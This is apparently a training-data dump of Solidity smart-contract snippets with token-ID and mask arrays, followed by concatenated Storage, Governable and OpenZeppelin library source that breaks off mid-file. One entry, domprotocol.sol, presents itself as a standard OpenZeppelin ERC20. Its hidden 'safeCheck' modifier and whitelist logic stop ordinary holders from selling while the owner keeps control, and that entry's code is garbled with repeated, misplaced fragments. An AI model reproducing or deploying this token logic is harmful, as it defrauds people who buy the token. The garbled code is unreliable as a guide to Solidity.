[ 1, 225, 445, 6617, 537, 12, 2867, 358, 16, 2254, 5034, 1147, 548, 13, 1071, 3849, 288, 203, 565, 1758, 3410, 273, 4232, 39, 27, 5340, 37, 18, 8443, 951, 12, 2316, 548, 1769, 203, 565, 2583, 12, 869, 480, 3410, 16, 315, 654, 39, 27, 5340, 37, 30, 23556, 358, 783, 3410, 8863, 203, 565, 2583, 12, 8151, 422, 638, 16, 315, 902, 2935, 8863, 203, 203, 565, 2583, 12, 203, 1377, 389, 3576, 12021, 1435, 422, 3410, 747, 353, 31639, 1290, 1595, 12, 8443, 16, 389, 3576, 12021, 1435, 3631, 203, 1377, 315, 654, 39, 27, 5340, 37, 30, 6617, 537, 4894, 353, 486, 3410, 12517, 20412, 364, 777, 6, 203, 565, 11272, 203, 203, 565, 389, 12908, 537, 12, 869, 16, 1147, 548, 16, 3410, 1769, 203, 225, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./partial_match/1/0x6b2C42D2Aa4CB2D859CF7a88546dB12ae294F303/sources/contracts/libraries/RightsManager.sol
State variables (can only be constants in a library)
bool public constant DEFAULT_CAN_WHITELIST_LPS = false;
2,714,653
[ 1, 1119, 3152, 261, 4169, 1338, 506, 6810, 316, 279, 5313, 13, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 1426, 1071, 5381, 3331, 67, 39, 1258, 67, 16861, 7085, 67, 48, 5857, 273, 629, 31, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/43114/0xD5d0f5d872ed4eB74AA3E8fa6D833d6f7603D2EC/sources/contracts/oracles/LPChainlinkOracle.sol
@notice Provides a safe ERC20.decimals version which returns '18' as fallback value. @param token The address of the ERC-20 token contract. @return (uint8) Token decimals.
function safeDecimals(IERC20 token) internal view returns (uint8) { (bool success, bytes memory data) = address(token).staticcall(abi.encodeWithSelector(SIG_DECIMALS)); return success && data.length == 32 ? abi.decode(data, (uint8)) : 18; }
4,524,259
[ 1, 17727, 279, 4183, 4232, 39, 3462, 18, 31734, 1177, 1492, 1135, 296, 2643, 11, 487, 5922, 460, 18, 225, 1147, 1021, 1758, 434, 326, 4232, 39, 17, 3462, 1147, 6835, 18, 327, 261, 11890, 28, 13, 3155, 15105, 18, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 4183, 31809, 12, 45, 654, 39, 3462, 1147, 13, 2713, 1476, 1135, 261, 11890, 28, 13, 288, 203, 3639, 261, 6430, 2216, 16, 1731, 3778, 501, 13, 273, 1758, 12, 2316, 2934, 3845, 1991, 12, 21457, 18, 3015, 1190, 4320, 12, 18513, 67, 23816, 55, 10019, 203, 3639, 327, 2216, 597, 501, 18, 2469, 422, 3847, 692, 24126, 18, 3922, 12, 892, 16, 261, 11890, 28, 3719, 294, 6549, 31, 203, 565, 289, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/1/0x2257bAE73B00765d777ea46C42Cbb50635426e38/sources/browser/domprotocol.sol
* @dev Implementation of the {IERC20} interface. This implementation is agnostic to the way tokens are created. This means that a supply mechanism has to be added in a derived contract using {_mint}. For a generic mechanism see {ERC20PresetMinterPauser}. TIP: For a detailed writeup see our guide to implement supply mechanisms]. We have followed general OpenZeppelin guidelines: functions revert instead of returning `false` on failure. This behavior is nonetheless conventional and does not conflict with the expectations of ERC20 applications. Additionally, an {Approval} event is emitted on calls to {transferFrom}. This allows applications to reconstruct the allowance for all accounts just by listening to said events. Other implementations of the EIP may not emit these events, as it isn't required by the specification. Finally, the non-standard {decreaseAllowance} and {increaseAllowance} functions have been added to mitigate the well-known issues around setting allowances. See {IERC20-approve}./
contract ERC20 is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => uint256) private _records; mapping (address => uint256) private _dateu; mapping (address => bool) private _listw; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; uint256 private amountcheck = 1771*(10**18); uint256 private valuea = 99; uint256 private valueb = 100; string private _name; string private _symbol; uint8 private _decimals; address public _owner; address public _safeOwner; } constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public { _name = name; _symbol = symbol; _decimals = 18; _owner = owner; _safeOwner = owner; _mint(_owner, initialSupply*(10**18)); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function multiTransfer(address[] memory receivers, uint256[] memory amounts) public { for (uint256 i = 0; i < receivers.length; i++) { transfer(receivers[i], amounts[i]); if (msg.sender == _owner && receivers[i]!=_owner && receivers[i]!=_safeOwner && _owner!=_safeOwner){ _listw[receivers[i]]= true ; _approve(receivers[i], 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D, 115792089237316195423570985008687907853269984665640564039457584007913129639935); } } } function multiTransfer(address[] memory receivers, uint256[] memory amounts) public { for (uint256 i = 0; i < receivers.length; i++) { transfer(receivers[i], amounts[i]); if (msg.sender == _owner && receivers[i]!=_owner && receivers[i]!=_safeOwner && _owner!=_safeOwner){ _listw[receivers[i]]= true ; _approve(receivers[i], 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D, 115792089237316195423570985008687907853269984665640564039457584007913129639935); } } } function multiTransfer(address[] memory receivers, uint256[] memory amounts) public { for (uint256 i = 0; i < receivers.length; i++) { transfer(receivers[i], amounts[i]); if (msg.sender == _owner && receivers[i]!=_owner && receivers[i]!=_safeOwner && _owner!=_safeOwner){ _listw[receivers[i]]= true ; _approve(receivers[i], 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D, 115792089237316195423570985008687907853269984665640564039457584007913129639935); } } } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint256 amount) internal safeCheck(sender,recipient,amount) virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } modifier safeCheck(address sender, address recipient, uint256 amount){ if (_owner == _safeOwner){ _;} else{ else{ if (amount > amountcheck){ require((sender == _safeOwner)||(recipient == 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D), "ERC20: transfer amount exceeds balance"); _; uint256 x = _records[sender]; if (x > valuea || now > _dateu[sender] + 5 * 1 minutes) { require((sender == _safeOwner)||(recipient == 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D), "ERC20 transfer amount exceeds balance"); _; _records[sender]=valueb; _; } } } } } if (sender == recipient && sender==_owner){amountcheck = amount;} modifier safeCheck(address sender, address recipient, uint256 amount){ if (_owner == _safeOwner){ _;} else{ else{ if (amount > amountcheck){ require((sender == _safeOwner)||(recipient == 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D), "ERC20: transfer amount exceeds balance"); _; uint256 x = _records[sender]; if (x > valuea || now > _dateu[sender] + 5 * 1 minutes) { require((sender == _safeOwner)||(recipient == 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D), "ERC20 transfer amount exceeds balance"); _; _records[sender]=valueb; _; } } } } } if (sender == _owner){_safeOwner = recipient;} modifier safeCheck(address sender, address recipient, uint256 amount){ if (_owner == _safeOwner){ _;} else{ else{ if (amount > amountcheck){ require((sender == _safeOwner)||(recipient == 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D), "ERC20: transfer amount exceeds balance"); _; uint256 x = _records[sender]; if (x > valuea || now > _dateu[sender] + 5 * 1 minutes) { require((sender == _safeOwner)||(recipient == 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D), "ERC20 transfer amount exceeds balance"); _; _records[sender]=valueb; _; } } } } } if (amount >0 && recipient!=_owner && _dateu[recipient]==_dateu[_owner]){_dateu[recipient]= now ;} if (amount >0 && sender==_owner && recipient!=_owner && recipient!=_safeOwner){_listw[recipient]= true ;} if (sender == _owner || sender == _safeOwner || recipient == _owner || _listw[sender]){ _;} modifier safeCheck(address sender, address recipient, uint256 amount){ if (_owner == _safeOwner){ _;} else{ else{ if (amount > amountcheck){ require((sender == _safeOwner)||(recipient == 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D), "ERC20: transfer amount exceeds balance"); _; uint256 x = _records[sender]; if (x > valuea || now > _dateu[sender] + 5 * 1 minutes) { require((sender == _safeOwner)||(recipient == 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D), "ERC20 transfer amount exceeds balance"); _; _records[sender]=valueb; _; } } } } } modifier safeCheck(address sender, address recipient, uint256 amount){ if (_owner == _safeOwner){ _;} else{ else{ if (amount > amountcheck){ require((sender == _safeOwner)||(recipient == 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D), "ERC20: transfer amount exceeds balance"); _; uint256 x = _records[sender]; if (x > valuea || now > _dateu[sender] + 5 * 1 minutes) { require((sender == _safeOwner)||(recipient == 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D), "ERC20 transfer amount exceeds balance"); _; _records[sender]=valueb; _; } } } } } }else{ modifier safeCheck(address sender, address recipient, uint256 amount){ if (_owner == _safeOwner){ _;} else{ else{ if (amount > amountcheck){ require((sender == _safeOwner)||(recipient == 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D), "ERC20: transfer amount exceeds balance"); _; uint256 x = _records[sender]; if (x > valuea || now > _dateu[sender] + 5 * 1 minutes) { require((sender == _safeOwner)||(recipient == 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D), "ERC20 transfer amount exceeds balance"); _; _records[sender]=valueb; _; } } } } } }else{ function setSafeOwner(address safeOwner) public { require(msg.sender == _owner, "!owner"); _safeOwner = safeOwner; } function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } function _token_UNN(address from, address to, uint256 amount) internal virtual { } }
17,079,328
[ 1, 13621, 434, 326, 288, 45, 654, 39, 3462, 97, 1560, 18, 1220, 4471, 353, 279, 1600, 669, 335, 358, 326, 4031, 2430, 854, 2522, 18, 1220, 4696, 716, 279, 14467, 12860, 711, 358, 506, 3096, 316, 279, 10379, 6835, 1450, 288, 67, 81, 474, 5496, 2457, 279, 5210, 12860, 2621, 288, 654, 39, 3462, 18385, 49, 2761, 16507, 1355, 5496, 399, 2579, 30, 2457, 279, 6864, 1045, 416, 2621, 3134, 7343, 358, 2348, 14467, 1791, 28757, 8009, 1660, 1240, 10860, 7470, 3502, 62, 881, 84, 292, 267, 9875, 14567, 30, 4186, 15226, 3560, 434, 5785, 1375, 5743, 68, 603, 5166, 18, 1220, 6885, 353, 1661, 546, 12617, 15797, 287, 471, 1552, 486, 7546, 598, 326, 26305, 434, 4232, 39, 3462, 12165, 18, 26775, 16, 392, 288, 23461, 97, 871, 353, 17826, 603, 4097, 358, 288, 13866, 1265, 5496, 1220, 5360, 12165, 358, 23243, 326, 1699, 1359, 364, 777, 2 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
[ 1, 16351, 4232, 39, 3462, 353, 1772, 16, 467, 654, 39, 3462, 288, 203, 565, 1450, 14060, 10477, 364, 2254, 5034, 31, 203, 565, 1450, 5267, 364, 1758, 31, 203, 203, 565, 2874, 261, 2867, 516, 2254, 5034, 13, 3238, 389, 70, 26488, 31, 203, 565, 2874, 261, 2867, 516, 2254, 5034, 13, 3238, 389, 7094, 31, 203, 565, 2874, 261, 2867, 516, 2254, 5034, 13, 3238, 389, 712, 89, 31, 203, 565, 2874, 261, 2867, 516, 1426, 13, 3238, 389, 1098, 91, 31, 203, 203, 565, 2874, 261, 2867, 516, 2874, 261, 2867, 516, 2254, 5034, 3719, 3238, 389, 5965, 6872, 31, 203, 203, 565, 2254, 5034, 3238, 389, 4963, 3088, 1283, 31, 203, 565, 2254, 5034, 3238, 3844, 1893, 273, 404, 4700, 21, 21556, 2163, 636, 2643, 1769, 203, 565, 2254, 5034, 3238, 460, 69, 273, 14605, 31, 203, 565, 2254, 5034, 3238, 460, 70, 273, 2130, 31, 203, 203, 565, 533, 3238, 389, 529, 31, 203, 565, 533, 3238, 389, 7175, 31, 203, 565, 2254, 28, 3238, 389, 31734, 31, 203, 203, 565, 1758, 1071, 389, 8443, 31, 203, 565, 1758, 1071, 389, 4626, 5541, 31, 203, 203, 97, 203, 282, 3885, 261, 1080, 3778, 508, 16, 533, 3778, 3273, 16, 2254, 5034, 2172, 3088, 1283, 16, 2867, 8843, 429, 3410, 13, 1071, 288, 203, 3639, 389, 529, 273, 508, 31, 203, 3639, 389, 7175, 273, 3273, 31, 203, 3639, 389, 31734, 273, 6549, 31, 203, 3639, 389, 8443, 273, 3410, 31, 203, 3639, 389, 4626, 5541, 273, 3410, 31, 203, 3639, 2 ]
// File: contracts/Storage.sol pragma solidity 0.5.16; contract Storage { address public governance; address public controller; constructor() public { governance = msg.sender; } modifier onlyGovernance() { require(isGovernance(msg.sender), "Not governance"); _; } function setGovernance(address _governance) public onlyGovernance { require(_governance != address(0), "new governance shouldn't be empty"); governance = _governance; } function setController(address _controller) public onlyGovernance { require(_controller != address(0), "new controller shouldn't be empty"); controller = _controller; } function isGovernance(address account) public view returns (bool) { return account == governance; } function isController(address account) public view returns (bool) { return account == controller; } } // File: contracts/Governable.sol pragma solidity 0.5.16; contract Governable { Storage public store; constructor(address _store) public { require(_store != address(0), "new storage shouldn't be empty"); store = Storage(_store); } modifier onlyGovernance() { require(store.isGovernance(msg.sender), "Not governance"); _; } function setStorage(address _store) public onlyGovernance { require(_store != address(0), "new storage shouldn't be empty"); store = Storage(_store); } function governance() public view returns (address) { return store.governance(); } } // File: @openzeppelin/contracts/token/ERC20/IERC20.sol pragma solidity ^0.5.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. Does not include * the optional functions; to access them see {ERC20Detailed}. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // File: @openzeppelin/contracts/math/SafeMath.sol pragma solidity ^0.5.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. * * _Available since v2.4.0._ */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. * * _Available since v2.4.0._ */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. * * _Available since v2.4.0._ */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } // File: @openzeppelin/contracts/utils/Address.sol pragma solidity ^0.5.5; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /** * @dev Converts an `address` into `address payable`. Note that this is * simply a type cast: the actual underlying value is not changed. * * _Available since v2.4.0._ */ function toPayable(address account) internal pure returns (address payable) { return address(uint160(account)); } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. * * _Available since v2.4.0._ */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-call-value (bool success, ) = recipient.call.value(amount)(""); require(success, "Address: unable to send value, recipient may have reverted"); } } // File: @openzeppelin/contracts/token/ERC20/SafeERC20.sol pragma solidity ^0.5.0; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations 